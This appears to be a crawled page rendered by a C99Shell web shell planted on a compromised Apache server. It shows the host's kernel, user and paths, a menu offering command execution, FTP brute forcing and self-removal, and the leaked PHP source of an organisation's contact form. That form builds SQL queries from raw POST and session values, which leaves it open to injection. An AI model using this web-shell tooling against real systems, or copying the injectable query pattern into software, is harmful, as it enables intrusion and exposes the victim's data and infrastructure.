!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/contato/   drwxr-xr-x
Free 9.4 GB of 93.48 GB (10.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     contato_grava.php (2.15 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
//Conexão
    
header('Content-Type: text/html; charset=iso-8859-1');
    
    include(
"../../config/config.php");
    include(
INCLUDES "conexaoBD.php");   
    
    
$email_contato "contato@arpenpr.org.br";
    
//$email_contato = "breno@netnigro.com.br"; 
    
$headers "From: IRPEN <contato@arpenpr.org.br>\n";
    
$headers .= "MIME-Version: 1.0\n";
    
$headers .= "Content-Type: text/html; charset=iso-8859-1\n";
    
$headers .= "Bcc : cron.irpen@netnigro.com.br\n";
    
    
//Parâmetros
    
$cod_usuario $_SESSION["cod_usuario"];
    
$nome        $_SESSION["nome_usuario"];
    
$email       $_SESSION["email_usuario"];  
    
$oficio      $_SESSION["nome_oficio"];  
    
$assunto     utf8_decode($_POST["txtAssunto"]);  
    
$mensagem    utf8_decode($_POST["txtMensagem"]); 
    
    
$sql "SELECT * FROM contatos "
         
"LEFT JOIN oficios ON CON_Oficios_DR = OFI_RowID "
         
"LEFT JOIN cidades ON OFI_Cidades_DR = CID_RowID "
         
"WHERE CON_RowID = $cod_usuario ";      
                     
    
$rs_usuario $conexao->query($sql);
    
    
$usuario $rs_usuario->fetch_array();
        
    
$cidade $usuario["CID_Descricao"]; 
              
    
$corpo "Nome: $nome<br>"
           
"E-mail: $email<br>"
           
"Ofício: $oficio<br>"
           
"Cidade: $cidade<br>"
           
"Assunto: $assunto<br>"
           
"Mensagem: $mensagem<br>";
    
    
$assunto_aux "DÚVIDA ENVIADA ATRAVÉS DO SITE IRPEN: " $assunto
    
$ip          $_SERVER["REMOTE_ADDR"];
    
$data        date("Y-m-d H:i:s");
    
    if(
mail($email_contato,$assunto_aux,$corpo,$headers))
    {
        
$sql "INSERT INTO duvida (DUV_Usuario_DR,DUV_Nome,DUV_Email,DUV_Assunto,DUV_Mensagem,DUV_IP,DUV_Data) "
             
"VALUES ('$cod_usuario','$nome','$email','$assunto','$mensagem','$ip','$data')";
        
        if(
$conexao->query($sql))
        {
            
$conexao->commit();
            echo 
"A dúvida foi enviado com sucesso para o Irpen.";
        }
        else
        {
            echo 
"Erro ao enviar a dúvida. Por favor, tente novamente alguns minutos depois.";
        }        
    }
    else
    {
        echo 
"Erro ao enviar a dúvida. Por favor, tente novamente alguns minutos depois.";
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.003 ]--